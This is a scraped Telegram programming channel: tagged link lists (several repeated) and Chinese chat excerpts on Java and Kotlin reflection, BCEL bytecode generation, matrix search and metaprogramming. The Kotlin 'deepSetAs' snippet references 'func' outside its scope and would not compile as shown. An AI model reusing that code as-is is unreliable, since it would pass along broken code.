https://t.iss.one/c/1119363280/104914
https://t.iss.one/c/1119363280/104956
https://t.iss.one/c/1119363280/104983 #root
https://t.iss.one/c/1119363280/105043
https://t.iss.one/c/1119363280/105150 #robotic
https://t.iss.one/c/1119363280/105201 #app
https://t.iss.one/c/1119363280/105247 #aop
https://t.iss.one/c/1119363280/105266 #charset #config Context
https://t.iss.one/c/1119363280/105365 #net
https://t.iss.one/c/1119363280/105417 #events #gui
https://t.iss.one/c/1119363280/105453 #textarea
https://t.iss.one/c/1119363280/105493 #css #web
https://t.iss.one/c/1119363280/105566 #india #app
https://t.iss.one/c/1119363280/105610 #gui #xml
https://t.iss.one/c/1119363280/105612 #meme #cplusplus
https://t.iss.one/c/1119363280/105631 #electron #app
https://t.iss.one/c/1119363280/105662 #app #launcher
https://t.iss.one/c/1119363280/105715 #aosp #web #tools
https://t.iss.one/c/1119363280/105771 #packaging #presistence
https://t.iss.one/c/1119363280/106073 #java
https://t.iss.one/c/1119363280/106178 #kbdpolitics
https://t.iss.one/c/1119363280/106331 #linux
https://t.iss.one/c/1119363280/106398 api
https://t.iss.one/c/1119363280/106472 #wechat
https://t.iss.one/c/1119363280/104956
https://t.iss.one/c/1119363280/104983 #root
https://t.iss.one/c/1119363280/105043
https://t.iss.one/c/1119363280/105150 #robotic
https://t.iss.one/c/1119363280/105201 #app
https://t.iss.one/c/1119363280/105247 #aop
https://t.iss.one/c/1119363280/105266 #charset #config Context
https://t.iss.one/c/1119363280/105365 #net
https://t.iss.one/c/1119363280/105417 #events #gui
https://t.iss.one/c/1119363280/105453 #textarea
https://t.iss.one/c/1119363280/105493 #css #web
https://t.iss.one/c/1119363280/105566 #india #app
https://t.iss.one/c/1119363280/105610 #gui #xml
https://t.iss.one/c/1119363280/105612 #meme #cplusplus
https://t.iss.one/c/1119363280/105631 #electron #app
https://t.iss.one/c/1119363280/105662 #app #launcher
https://t.iss.one/c/1119363280/105715 #aosp #web #tools
https://t.iss.one/c/1119363280/105771 #packaging #presistence
https://t.iss.one/c/1119363280/106073 #java
https://t.iss.one/c/1119363280/106178 #kbdpolitics
https://t.iss.one/c/1119363280/106331 #linux
https://t.iss.one/c/1119363280/106398 api
https://t.iss.one/c/1119363280/106472 #wechat
https://t.iss.one/c/1119363280/109316 #reveng ndk onCreate
https://t.iss.one/c/1119363280/109356 #huawei homoOs( #旧事重提
https://t.iss.one/c/1119363280/109367 xposed #wechat
https://t.iss.one/c/1119363280/109378 #china #robotic #旧事重提 光年实验室
https://t.iss.one/c/1119363280/109402 #framework
https://t.iss.one/c/1119363280/109498 #i18n #china #haha 祖安汉化
https://t.iss.one/c/1119363280/109540 #app #coolapk #wechat
https://t.iss.one/c/1119363280/109578 #web https://ai DNS 有意思
https://t.iss.one/c/1119363280/109703 #huawei #旧事重提 HomoDroid 笑死
https://t.iss.one/c/1119363280/109845 #android #sysadmin
https://t.iss.one/c/1119363280/109918 #telegram #acg #tools @WhatAnimeBot
https://t.iss.one/c/1119363280/109946 草 #cplusplus #build #packaging
https://t.iss.one/c/1119363280/109958 #app #security 老kit 了
https://t.iss.one/c/1119363280/110001 Gitee routing OAuth? #security #http
https://t.iss.one/c/1119363280/110210 #android 模拟器 SafetyNet. 甚至私聊攻击 Rikka 生气了 #sb https://t.iss.one/c/1119363280/110347
https://t.iss.one/c/1119363280/110452 PackageManager
https://t.iss.one/c/1119363280/110473 #recommended #android #backend #gui #blog gityuan.com
https://t.iss.one/c/1119363280/110634 #huawei #google #low
https://t.iss.one/c/1119363280/110662 #plt #typing #java
https://t.iss.one/c/1119363280/110677 #json #algorithm LinkedHashMap
https://t.iss.one/c/1119363280/110743 #qt
https://t.iss.one/c/1119363280/109356 #huawei homoOs( #旧事重提
https://t.iss.one/c/1119363280/109367 xposed #wechat
https://t.iss.one/c/1119363280/109378 #china #robotic #旧事重提 光年实验室
https://t.iss.one/c/1119363280/109402 #framework
https://t.iss.one/c/1119363280/109498 #i18n #china #haha 祖安汉化
https://t.iss.one/c/1119363280/109540 #app #coolapk #wechat
https://t.iss.one/c/1119363280/109578 #web https://ai DNS 有意思
https://t.iss.one/c/1119363280/109703 #huawei #旧事重提 HomoDroid 笑死
https://t.iss.one/c/1119363280/109845 #android #sysadmin
https://t.iss.one/c/1119363280/109918 #telegram #acg #tools @WhatAnimeBot
https://t.iss.one/c/1119363280/109946 草 #cplusplus #build #packaging
https://t.iss.one/c/1119363280/109958 #app #security 老kit 了
https://t.iss.one/c/1119363280/110001 Gitee routing OAuth? #security #http
https://t.iss.one/c/1119363280/110210 #android 模拟器 SafetyNet. 甚至私聊攻击 Rikka 生气了 #sb https://t.iss.one/c/1119363280/110347
https://t.iss.one/c/1119363280/110452 PackageManager
https://t.iss.one/c/1119363280/110473 #recommended #android #backend #gui #blog gityuan.com
https://t.iss.one/c/1119363280/110634 #huawei #google #low
https://t.iss.one/c/1119363280/110662 #plt #typing #java
https://t.iss.one/c/1119363280/110677 #json #algorithm LinkedHashMap
https://t.iss.one/c/1119363280/110743 #qt
duangsues.is_a? SaltedFish
https://t.iss.one/c/1119363280/109316 #reveng ndk onCreate https://t.iss.one/c/1119363280/109356 #huawei homoOs( #旧事重提 https://t.iss.one/c/1119363280/109367 xposed #wechat https://t.iss.one/c/1119363280/109378 #china #robotic #旧事重提 光年实验室 https://t.iss.one/c/1119363280/109402 #framework…
https://github.com/SimpleMobileTools/Simple-SMS-Messenger #app sms
https://t.iss.one/c/1119363280/110892 #tech #windows
https://t.iss.one/c/1119363280/111015 #cplusplus #Linux #code
https://t.iss.one/c/1119363280/111049 #linux #sysadmin
https://t.iss.one/c/1119363280/111064 #GUI jetpack compose
https://t.iss.one/c/1119363280/111371 #Android #news cnBeta
https://t.iss.one/c/1119363280/111393 #cplusplus #bug 低级错误
https://t.iss.one/c/1119363280/111426 #parsing #Linux cmdline #Python shlex
https://t.iss.one/c/1119363280/111569 #root 读取 sms
https://t.iss.one/c/1119363280/111642 #Google #packaging #low
https://t.iss.one/c/1119363280/111683 #statement 草真理了,每次你不想做什么事情,或者就想写个小工具,那东西偏偏会变好……
https://t.iss.one/c/1119363280/111899 #Java #code #dev #Haha
https://t.iss.one/c/1119363280/112061 同上
https://t.iss.one/c/1119363280/112142 #naked #hardware Verilog 草
https://t.iss.one/c/1119363280/112323 #Android #ali #GitHub 草草
https://t.iss.one/c/1119363280/112460 #Apple #security OCSP
https://t.iss.one/c/1119363280/112695 #Android #dev
https://t.iss.one/c/1119363280/112729 #lib 直接调试用 ui
https://t.iss.one/c/1119363280/112873 #Haha #Android #Google #school #Security 😂
https://t.iss.one/c/1119363280/113043 #Android #build
https://t.iss.one/c/1119363280/113104 #Java primData
https://t.iss.one/c/1119363280/113573 #Kotlin #code #security
https://t.iss.one/c/1119363280/110892 #tech #windows
https://t.iss.one/c/1119363280/111015 #cplusplus #Linux #code
https://t.iss.one/c/1119363280/111049 #linux #sysadmin
https://t.iss.one/c/1119363280/111064 #GUI jetpack compose
https://t.iss.one/c/1119363280/111371 #Android #news cnBeta
https://t.iss.one/c/1119363280/111393 #cplusplus #bug 低级错误
https://t.iss.one/c/1119363280/111426 #parsing #Linux cmdline #Python shlex
https://t.iss.one/c/1119363280/111569 #root 读取 sms
https://t.iss.one/c/1119363280/111642 #Google #packaging #low
https://t.iss.one/c/1119363280/111683 #statement 草真理了,每次你不想做什么事情,或者就想写个小工具,那东西偏偏会变好……
https://t.iss.one/c/1119363280/111899 #Java #code #dev #Haha
https://t.iss.one/c/1119363280/112061 同上
https://t.iss.one/c/1119363280/112142 #naked #hardware Verilog 草
https://t.iss.one/c/1119363280/112323 #Android #ali #GitHub 草草
https://t.iss.one/c/1119363280/112460 #Apple #security OCSP
https://t.iss.one/c/1119363280/112695 #Android #dev
https://t.iss.one/c/1119363280/112729 #lib 直接调试用 ui
https://t.iss.one/c/1119363280/112873 #Haha #Android #Google #school #Security 😂
https://t.iss.one/c/1119363280/113043 #Android #build
https://t.iss.one/c/1119363280/113104 #Java primData
https://t.iss.one/c/1119363280/113573 #Kotlin #code #security
GitHub
GitHub - SimpleMobileTools/Simple-SMS-Messenger: An easy and quick way of managing SMS and MMS messages without ads.
An easy and quick way of managing SMS and MMS messages without ads. - SimpleMobileTools/Simple-SMS-Messenger
https://t.iss.one/c/1119363280/113691 #security #linux #meme #Python socket.recvuntil() 之前没用过
https://t.iss.one/c/1119363280/113807 #csharp
https://t.iss.one/c/1119363280/113932 #file Android IDE
https://t.iss.one/c/1119363280/114030 #Android #build
https://t.iss.one/c/1119363280/114073 #Kotlin synthesis 变 #GUI viewbinding..
https://t.iss.one/c/1119363280/114199 #Java #android
https://t.iss.one/c/1119363280/114288 #China #hk .
https://t.iss.one/c/1119363280/114460 #Android 通话录音
https://t.iss.one/c/1119363280/114591 #linux #sysadmin
https://t.iss.one/c/1119363280/114646 #GitHub #China #security
https://t.iss.one/c/1119363280/113807 #csharp
https://t.iss.one/c/1119363280/113932 #file Android IDE
https://t.iss.one/c/1119363280/114030 #Android #build
https://t.iss.one/c/1119363280/114073 #Kotlin synthesis 变 #GUI viewbinding..
https://t.iss.one/c/1119363280/114199 #Java #android
https://t.iss.one/c/1119363280/114288 #China #hk .
https://t.iss.one/c/1119363280/114460 #Android 通话录音
https://t.iss.one/c/1119363280/114591 #linux #sysadmin
https://t.iss.one/c/1119363280/114646 #GitHub #China #security
duangsues.is_a? SaltedFish
绿色的都比黄色小 红色都比黄色大 只要判断 黄色和你的数据的关系 就能排除掉 上面或者下面那一块
duangsuse:
二分查找还是分治嘛,对了它是几个指针来着 真的能斜切线吗
大 佬: #algorithm #Java #code
二分查找还是分治嘛,对了它是几个指针来着 真的能斜切线吗
大 佬: #algorithm #Java #code
class Solution {
public boolean searchMatrix(int[][] matrix, int target) {
int lenSize = matrix.length;
int rowSize = matrix[0].length;
return search(matrix, 0, lenSize, 0, rowSize, target);
}
private boolean search(int[][] matrix, int a1, int b1, int a2, int b2, int target){
if(a1 == b1 || a2 == b2){
return false;
} else {
int mid1 = (a1 + b1) / 2;
int mid2 = (a2 + b2) / 2;
if(matrix[mid1][mid2] == target){
return true;
} else if(target > matrix[mid1][mid2]){
return search(matrix, a1, mid1 + 1, mid2 + 1, b2, target) || search(matrix, mid1 + 1, b1, a2, b2, target);
} else {
return search(matrix, mid1, b1, a2, mid2, target) || search(matrix, a1, mid1, a2, b2, target);
}
}
}
}
Deleted Account
以下是使用反射进行深拷贝的示例代码,支持将 `List`、`HashMap` 和对象的字段(使用 `getFields()` 方法获取)映射为新的值,并可以使用 `unifyEqualsPtrs()` 函数将相同的对象指针映射为相同的新对象: ```java import java.lang.reflect.*; import java.util.*; public class DeepCopyUtil { private static Map<Object, Object> originalToCopy…
在kotlin 用java reflect 写一个深度遍历对象图的 deepSetAs(obj,func) ,它支持将 List.E,Map.V,getFields() 内的值修改为func调用
以此定义 unifyEqualsPtrs(obj, oldToDup=mutMap())=deepSet{ computeIfAbsent }
请用函数式,when 减少缩进
它没有返回值,只原地改写 。然后field也要递归 ,而且不要处理str,enum 等基础类型
柯里化 deepSetAs(func)(it) ,递归改成 see(it)。 unify也要
deepSetAs不要有T, obj作为this, else->外提为 forListyFields(see); unify可以是val 。缩进2空格
ref:https://t.iss.one/dsuse/18706
也可以加个fn参数,调用0参构造器 作为返回,实现deepCopy
好的,我根据你的要求再次修改了一下代码,你看看这样可以吗:
#kt #code
解答了 https://t.iss.one/Javaer/922625
以此定义 unifyEqualsPtrs(obj, oldToDup=mutMap())=deepSet{ computeIfAbsent }
请用函数式,when 减少缩进
它没有返回值,只原地改写 。然后field也要递归 ,而且不要处理str,enum 等基础类型
柯里化 deepSetAs(func)(it) ,递归改成 see(it)。 unify也要
deepSetAs不要有T, obj作为this, else->外提为 forListyFields(see); unify可以是val 。缩进2空格
ref:https://t.iss.one/dsuse/18706
也可以加个fn参数,调用0参构造器 作为返回,实现deepCopy
好的,我根据你的要求再次修改了一下代码,你看看这样可以吗:
#kt #code
kotlin
fun deepSetAs(func: (Any?) -> Any?): Any?.()->Unit = { ->
val see = deepSetAs(func)
when (this) {
is List<*> -> forEach { see(it) }
is Map<*, *> -> forEach { see(it.value) }
else -> this?.forListyFields(see)
}
}
val cf = mutableMapOf<Class<*>, Array<Field>>()
fun Any.forListyFields(see: (Any?) -> Unit) { cf.getOrPut(this.javaClass) { this.javaClass.declaredFields }.forEach {
it.isAccessible = true
val v = it.get(this)
if (v != null && v !is String && v !is Enum<*>) {
see(v)
}
it.set(this, func(v))
}
}
val unifyEqualsPtrs = { val dup2Old=mutableMapOf<Any?, Any?>()
deepSetAs { v -> dup2Old.computeIfAbsent(v) { v } }
} 解答了 https://t.iss.one/Javaer/922625
Telegram
duangsuse::Echo
#java #performance 值类型vs引用类型
🤔在内存管理/GC良好的语言里,只读数据的引用 就是值
java Byte[]和byte[] 在复用上都互不兼容,当然没有值类型了☺️
>我有一个含极多重复str 的JSON,想减少其内存占用
这就是常量池嘛, javac和aapt都会做
JVM的str不可变,一般都是全局缓存的,strBuild 在完成时是会查询这个吧。
文件上编解码时中间加个Deflate流
也可能是结构有毛病, 比如把str而非int当成tag
说起来str.intern…
🤔在内存管理/GC良好的语言里,只读数据的引用 就是值
java Byte[]和byte[] 在复用上都互不兼容,当然没有值类型了☺️
>我有一个含极多重复str 的JSON,想减少其内存占用
这就是常量池嘛, javac和aapt都会做
JVM的str不可变,一般都是全局缓存的,strBuild 在完成时是会查询这个吧。
文件上编解码时中间加个Deflate流
也可能是结构有毛病, 比如把str而非int当成tag
说起来str.intern…
#java #FP Loney Chou, [2023/10/5 10:50]
只读集合是对 API 作者的极大福音
duangsuse, [2023/10/5 10:47]
如果只读不是在Type期实现的,就会有很大开销。比JS低就是了
只读还会逼你使用map,filter 等写法,对一些程序员可能……太严谨了
可能有人觉得自己用mutable集合,就能做得更快?
duangsuse, [2023/10/5 10:49]
Java 经典的反人类默认值,随地 public final
只能说是Java自身反人类,导致框架难写吧。
duangsuse, [2023/10/5 11:06]
好像是迭代、数组、元组 啥的不好区分
“ 这是整个 API 中最具争议的设计决策。显然,静态(编译时)类型检查是非常可取的,但实现此目标的尝试会导致接口层次结构的大小爆炸
Doug Lea 编写了一个流行的 Java 集合包,该包确实反映了其接口层次结构中的可变性区别,但根据用户对其集合包的体验。用他的话说(来自私人信件)“我很痛苦地说,强静态类型对于 Java 中的集合接口不起作用。”
duangsuse, [2023/10/5 11:07]
Java就是太智障了,你看 Py,Kt 对可变性的实现不就很正常,哪里有那么多特例?
典型的过度工程大佬,已经要被能随意跨界的JS,Py等语言抛在后面了 ,现在又跟不上明确化类型的新语言
Ruby的元类链都没 MutableXX 那么复杂,Java还觉得不行
学了几句算法觉得自己牛了, 但其实那是可以随便替换的,连接口的不标准都有先人犯过
OOP的正常typetag 组合不会用,反射却挺擅长(
Java当时也就是给数组加个bounds,给指针保存上type ,实在是没必要强到runtime去做Obj.freeze 这么弱的检查
duangsuse, [2023/10/5 11:13]
这就是算法和API的区别啊。运行时凭什么决定设计和编译期的概念呢
编程里就没有一个「有实用价值」的东西是计算机先有,然后设计师才拿出来用的
肯定不能让Java、VB这种垃圾语言,干扰你的思路的
duangsuse, [2023/10/5 11:14]
runtime check 都是外语,FFI 要考虑的事情了……你可以把FFI跨语言的情况,都理解为明确使用了
你都已经脱离Kotlin编译器了,还想继续使用各种语言和检查特性……(这跟说 private 也不是 private 一样
List和 MList<out T> 都会限制set()的…… (只不过MList不限制reverse)
duangsuse, [2023/10/5 11:38]
你不能说单靠一个类型,去把 list 当作Tuple来用。
单单结构不可变的称为 Array , 但现在大多数人只会用list 。还是Py的正确,tuple正好能对应上dataclass ,有用法的依据
你说的那种,是纯函数的不可变吧…… 不是类型上
意义真的不大, 无非是把堆里的变量放栈上改写,或者栈变量换伪递归, 那有什么用…… 又麻烦又慢 😓
变量关系式编程(LP)里, 函数式的 Memo f()=x+1 可以直接表达为
一些人觉得 React是什么FRP,functional响应式 。但其实把可变数据,理解为含Var的不可变, 比纠结于List纯不纯好玩的多
类型姑且还是对心智模型的硬化, 纯度这些可都是虚无缥缈的风格格调了。有趣的软件未必靠FP来写。某些函数式lib的样板代码不比rs,go的少 ,代码质量只能是看人,是否憎恨冗余
只读集合是对 API 作者的极大福音
duangsuse, [2023/10/5 10:47]
如果只读不是在Type期实现的,就会有很大开销。比JS低就是了
只读还会逼你使用map,filter 等写法,对一些程序员可能……太严谨了
可能有人觉得自己用mutable集合,就能做得更快?
duangsuse, [2023/10/5 10:49]
Java 经典的反人类默认值,随地 public final
只能说是Java自身反人类,导致框架难写吧。
duangsuse, [2023/10/5 11:06]
好像是迭代、数组、元组 啥的不好区分
“ 这是整个 API 中最具争议的设计决策。显然,静态(编译时)类型检查是非常可取的,但实现此目标的尝试会导致接口层次结构的大小爆炸
Doug Lea 编写了一个流行的 Java 集合包,该包确实反映了其接口层次结构中的可变性区别,但根据用户对其集合包的体验。用他的话说(来自私人信件)“我很痛苦地说,强静态类型对于 Java 中的集合接口不起作用。”
duangsuse, [2023/10/5 11:07]
Java就是太智障了,你看 Py,Kt 对可变性的实现不就很正常,哪里有那么多特例?
典型的过度工程大佬,已经要被能随意跨界的JS,Py等语言抛在后面了 ,现在又跟不上明确化类型的新语言
Ruby的元类链都没 MutableXX 那么复杂,Java还觉得不行
学了几句算法觉得自己牛了, 但其实那是可以随便替换的,连接口的不标准都有先人犯过
list instanceof Sorted OOP的正常typetag 组合不会用,反射却挺擅长(
Java当时也就是给数组加个bounds,给指针保存上type ,实在是没必要强到runtime去做Obj.freeze 这么弱的检查
duangsuse, [2023/10/5 11:13]
这就是算法和API的区别啊。运行时凭什么决定设计和编译期的概念呢
编程里就没有一个「有实用价值」的东西是计算机先有,然后设计师才拿出来用的
肯定不能让Java、VB这种垃圾语言,干扰你的思路的
duangsuse, [2023/10/5 11:14]
runtime check 都是外语,FFI 要考虑的事情了……你可以把FFI跨语言的情况,都理解为明确使用了
as cast你都已经脱离Kotlin编译器了,还想继续使用各种语言和检查特性……(这跟说 private 也不是 private 一样
List和 MList<out T> 都会限制set()的…… (只不过MList不限制reverse)
duangsuse, [2023/10/5 11:38]
你不能说单靠一个类型,去把 list 当作Tuple来用。
单单结构不可变的称为 Array , 但现在大多数人只会用list 。还是Py的正确,tuple正好能对应上dataclass ,有用法的依据
你说的那种,是纯函数的不可变吧…… 不是类型上
意义真的不大, 无非是把堆里的变量放栈上改写,或者栈变量换伪递归, 那有什么用…… 又麻烦又慢 😓
变量关系式编程(LP)里, 函数式的 Memo f()=x+1 可以直接表达为
f(out y,x) 的细粒度重计算,不仅不存在“赋值”,也不需要那些纯函数的过度检查一些人觉得 React是什么FRP,functional响应式 。但其实把可变数据,理解为含Var的不可变, 比纠结于List纯不纯好玩的多
类型姑且还是对心智模型的硬化, 纯度这些可都是虚无缥缈的风格格调了。有趣的软件未必靠FP来写。某些函数式lib的样板代码不比rs,go的少 ,代码质量只能是看人,是否憎恨冗余
#java #backend #design
>用 jvm bcel 生成
int 要扩充到对int,char
Fn1要扩充到 Fn3
kotlin 2空格 减少变量名
🤔 我看生成构造器和方法签名还挺简单的
不过此例也不涉及 this.x=arg0
你试试让AI写becl 它应该能基于getClass()反射生成Builder
主要是感觉jvm 一定要dump bytecode,有点太做作了,因为jvm是有Compiler() API的
明明把源码放 thymeleaf for if 一下,def()参数列表随便换行也能生成吧,这样就0依赖了
这种元编程如果AI也能好好完成, 也是只要能用就行,闲下来的时间可以多设计些语法, BECL这些技术 好像也不如cglib.Enhancer 的头尾hook流行了
老实说如果Kt有Zig那样的 comptime foreach 和TS的 type dict ,Builder就不是问题 。当然这就是 lisp 系的 (unquote '(+ "x" 1)) 宏了
按道理来说JS里不是魔法的Proxy重载 o.xx 运算符,Java也是没什么的,但是Javaer们反射序列化的搞得太复杂了,或者说编译期API的贫瘠导致了「两门语言问题」
Zig的设计当时让我眼前一亮。 虽然它不像D支持enum作为dict type ,但Zig的 println! 比 Rust 说的宏还好用
Kt实现默认重载的方法像Ruby一样,没有反射接口,不过把 fun 提升为class 就能知道默认值了(虽然这需要改变框架……
这点.NET的 dnSpy 也能做到,因为bc本质上就是 List<元组enum> 的bytes形式 ,编辑它最本质的做法就是 mmap() 文件到内存,然后绑定数组增长,0拷贝
不过无论语言,目前都没有能把read-write 统一起来的fmt IO lib ,JDK的R/Wer 流模式都是一式两份的
直接用msgpack管理加载保存二进制,倒是能避免冗余
但,它们都不是二进制格式的绑定框架。 其实绑定bytes列表和DOM树所用的模式还是一样的, 这点 010 Editor 这个闭源十六进制编辑器,反而清醒得多
Radare2 也是支持编辑javabc格式 ,所以lib的质量不是看语言,还是要看人、看思想
这么评价也是有点道理的。 函数式data构造API ,都是helloworld 很美观很易懂,但对接实际就拉垮了
比如 import struct 的
不就是因为 序列化struct的模型 本质上和C的 unsized 数组一样,都忽略了重要的文件结构信息吗?
不就是不想独立出 malloc() 对象,想只复制参数到新bytes() ,结果只要修改个变量,代码可读性就炸了,工程难度飙到需要Protobuf 这些DSL玩意
其实只要让read/write 都作用到同一颗对象树,绑定一下,就不需要拿局部变量写什么RW流了
React就是这样被后来者取代的
>用 jvm bcel 生成
class T{ static int intFn1(char _0) { return 0; }} int 要扩充到对int,char
Fn1要扩充到 Fn3
kotlin 2空格 减少变量名
ClassGen cg = new ClassGen("T", "java.lang.Object", "T.java", Constants.ACC_PUBLIC | Constants.ACC_SUPER, null);
MethodGen mg = new MethodGen(Constants.ACC_PUBLIC | Constants.ACC_STATIC, Type.INT, new Type[] { Type.CHAR }, new String[] { "_0" }, "intFn3", "T", il=new InstructionList(), cg.getConstantPool());
il.append(InstructionFactory.createReturn(Type.INT));
mg.setMaxStack();
// 创建一个对应于方法的MethodGen对象
cg.addMethod(mg.getMethod());
cg.getJavaClass().dump("T.class"); 🤔 我看生成构造器和方法签名还挺简单的
不过此例也不涉及 this.x=arg0
你试试让AI写becl 它应该能基于getClass()反射生成Builder
主要是感觉jvm 一定要dump bytecode,有点太做作了,因为jvm是有Compiler() API的
明明把源码放 thymeleaf for if 一下,def()参数列表随便换行也能生成吧,这样就0依赖了
这种元编程如果AI也能好好完成, 也是只要能用就行,闲下来的时间可以多设计些语法, BECL这些技术 好像也不如cglib.Enhancer 的头尾hook流行了
老实说如果Kt有Zig那样的 comptime foreach 和TS的 type dict ,Builder就不是问题 。当然这就是 lisp 系的 (unquote '(+ "x" 1)) 宏了
按道理来说JS里不是魔法的Proxy重载 o.xx 运算符,Java也是没什么的,但是Javaer们反射序列化的搞得太复杂了,或者说编译期API的贫瘠导致了「两门语言问题」
Zig的设计当时让我眼前一亮。 虽然它不像D支持enum作为dict type ,但Zig的 println! 比 Rust 说的宏还好用
Kt实现默认重载的方法像Ruby一样,没有反射接口,不过把 fun 提升为class 就能知道默认值了(虽然这需要改变框架……
这点.NET的 dnSpy 也能做到,因为bc本质上就是 List<元组enum> 的bytes形式 ,编辑它最本质的做法就是 mmap() 文件到内存,然后绑定数组增长,0拷贝
不过无论语言,目前都没有能把read-write 统一起来的fmt IO lib ,JDK的R/Wer 流模式都是一式两份的
直接用msgpack管理加载保存二进制,倒是能避免冗余
但,它们都不是二进制格式的绑定框架。 其实绑定bytes列表和DOM树所用的模式还是一样的, 这点 010 Editor 这个闭源十六进制编辑器,反而清醒得多
Radare2 也是支持编辑javabc格式 ,所以lib的质量不是看语言,还是要看人、看思想
这么评价也是有点道理的。 函数式data构造API ,都是helloworld 很美观很易懂,但对接实际就拉垮了
比如 import struct 的
pack("I", 0xff) 读取导出(u32,) 吧,你parse一个wav 数组的shape很易懂,但仅仅是拼接下 乃至改个序列号 就要从0写入整个文件流不就是因为 序列化struct的模型 本质上和C的 unsized 数组一样,都忽略了重要的文件结构信息吗?
不就是不想独立出 malloc() 对象,想只复制参数到新bytes() ,结果只要修改个变量,代码可读性就炸了,工程难度飙到需要Protobuf 这些DSL玩意
其实只要让read/write 都作用到同一颗对象树,绑定一下,就不需要拿局部变量写什么RW流了
React就是这样被后来者取代的
kristoff.it
What is Zig's Comptime?
Let's take a quick look at what compile-time execution looks like in Zig.
#java duangsuse, [2024/2/23 01:21]
请使用 kotlin-reflect 和 new Compiler() 来为
代码的部分可用StringBuilder生成
... https://gist.github.com/duangsuse/d022c7ad037bb7fed446f72ec9b38ef7
duangsuse, [2024/2/23 01:23]
我用jshell API 实现了一个ini序列化
大概比直接靠javac 简单点吧,理论上eval的玩意也可以缓存到编译期
duangsuse, [2024/2/23 01:28]
我觉得我的目的已经很清楚了,写在最顶上
如果看不懂就说明不用看,反之测试过
如果不是gpt不会,我很乐意只写开头那1行
duangsuse, [2024/2/23 01:30]
JShell API 虽然比从Compiler() 加载短的多,但 js.eval() 那个默认返回String我不喜欢……
或许是为了兼容RPC吧, 但LocalExecutor 应该就不需要序列化啊
感觉用jsh模拟eval 比ByteBuddy规范得多
duangsuse, [2024/2/23 01:34]
所以说py真的太解压了.. setattr() 就算动静态隔离,typehint还能做格式验证
js稍微乱点
java 连个规范的元编程方法都没有,一群魔法师
我是觉得一个老古董语言就不要和jspy 比面向event和类型反射
duangsuse, [2024/2/23 01:42]
不会啊,或许Lombok有
Factory类似Provider的简化版,在需要用subtypes 实现接口时可以用来简化创建
duangsuse, [2024/2/23 01:47]
写java,C++ 这些的时候有种错觉
public 是🔘列表符号
分号和各种不执行的标注也完全喧宾夺主了
duangsuse, [2024/2/23 01:49]
Compiler 和 JShell API 就是tools.jar里的,做不到比 CLI更强的功能,就是调用快点
JS("") 和runtime其实是完全隔离的,它的classpath 相当于是编译期的,你可以把生成的代码按行号缓存下来,不需要defineClass
duangsuse, [2024/2/23 01:51]
没错,第一次在runtime 做static foreach 留缓存,第二次可以直接走预处理器
这样也可以使用不常规的常量传播的结果,但主要是实现setattr()
duangsuse, [2024/2/23 01:53]
准确的说是在运行时,把eval()的东西缓存下来,那就叫编译嘛
JIT
请使用 kotlin-reflect 和 new Compiler() 来为
data class MPair(var A: Int, var B: Int)
实现
loads<UPair> (mapOf("A" to 1, "B" to 1)) 代码的部分可用StringBuilder生成
class Pickle {
UPair load(UPair o, Map<Str,Any> m) { for(kv : field) o.$k=m.get($k); }
} ... https://gist.github.com/duangsuse/d022c7ad037bb7fed446f72ec9b38ef7
duangsuse, [2024/2/23 01:23]
我用jshell API 实现了一个ini序列化
大概比直接靠javac 简单点吧,理论上eval的玩意也可以缓存到编译期
duangsuse, [2024/2/23 01:28]
我觉得我的目的已经很清楚了,写在最顶上
如果看不懂就说明不用看,反之测试过
如果不是gpt不会,我很乐意只写开头那1行
duangsuse, [2024/2/23 01:30]
JShell API 虽然比从Compiler() 加载短的多,但 js.eval() 那个默认返回String我不喜欢……
或许是为了兼容RPC吧, 但LocalExecutor 应该就不需要序列化啊
感觉用jsh模拟eval 比ByteBuddy规范得多
duangsuse, [2024/2/23 01:34]
所以说py真的太解压了.. setattr() 就算动静态隔离,typehint还能做格式验证
js稍微乱点
java 连个规范的元编程方法都没有,一群魔法师
我是觉得一个老古董语言就不要和jspy 比面向event和类型反射
duangsuse, [2024/2/23 01:42]
不会啊,或许Lombok有
Factory类似Provider的简化版,在需要用subtypes 实现接口时可以用来简化创建
duangsuse, [2024/2/23 01:47]
写java,C++ 这些的时候有种错觉
public 是🔘列表符号
分号和各种不执行的标注也完全喧宾夺主了
duangsuse, [2024/2/23 01:49]
Compiler 和 JShell API 就是tools.jar里的,做不到比 CLI更强的功能,就是调用快点
JS("") 和runtime其实是完全隔离的,它的classpath 相当于是编译期的,你可以把生成的代码按行号缓存下来,不需要defineClass
duangsuse, [2024/2/23 01:51]
没错,第一次在runtime 做static foreach 留缓存,第二次可以直接走预处理器
这样也可以使用不常规的常量传播的结果,但主要是实现setattr()
duangsuse, [2024/2/23 01:53]
准确的说是在运行时,把eval()的东西缓存下来,那就叫编译嘛
JIT
Gist
dumps(Pair::class) (Pair(0,0), mutableMapOf("first" to 3))
dumps(Pair::class) (Pair(0,0), mutableMapOf("first" to 3)) - reflect_jsh.kt
#java #py
duangsuse:
https://t.iss.one/im_RORIRI/17511
卧槽
把前缀相同的param.给struct化啊,还有,f64不支持NaN么
栈上分配超过6个参数是不可接受的,x86有几个传参寄存器来着? daniel'si dress costs r89
完全不能拆成多个fn或者用列表处理吗
感觉这个程序是属于numpy的
如果你wrap成tuple bmp_chroma{} 就可以用 x.0~x.11表示参数
float类型ieee自己就有规定夸语言的null值,套一层属于自讨没趣
duangsuse:
xml在ast方面确实更好,但它被linus喷了
我只是举个例子
函数如同查询,是完全可以符号化数据化的
举个例子, NUM+a+b+1
[".0.1 NUM a b", 0,1,2, .+, '.1', .+ .+]
就可以是json的等效表达
0是全局变量, 1 2是参数, .+是调用
.0.1 代表这个数组保存了有0个变量,1个绑定,剩下2个参数的节点图,或者说“函数”
自古以来脚本语言是最好理解的,因此“静态声明”必须被解读为编译期项的添加,而不止是一种不运行的语法
这样才方便编写预处理、方便理解类型检查,这样无论编译还是运行时,使用的数据模型都统一为“不纯”的
程序员才不会自以为数据绑定是魔法框架的专利,然后整出一大堆脚本里不存在的设计模式
总之,现在的语言只有Zig在编译期计算上是合格的,其他通通笼罩在魔法师的阴影下
我在找一种类似 import cffi 的 kotlin inline c jni code 的元编程库
发现一个纯cpp写jvm lib的方法 https://github.com/google/jni-bind?tab=readme-ov-file#methods
🌚有点像C#的il2cpp ,不过我最理想的方法是,kt代码直译为cpp external fum
Kotlin/Native does not support compiling Java bytecode to native code, which would be necessary to use the kotlin-jvm stdlib.
Calling all JVM APIs through JNI is definitely going to be much, much, much slower
SWIG和JNA大概也是类似的,不过没有我理想的那种多语言无缝衔接
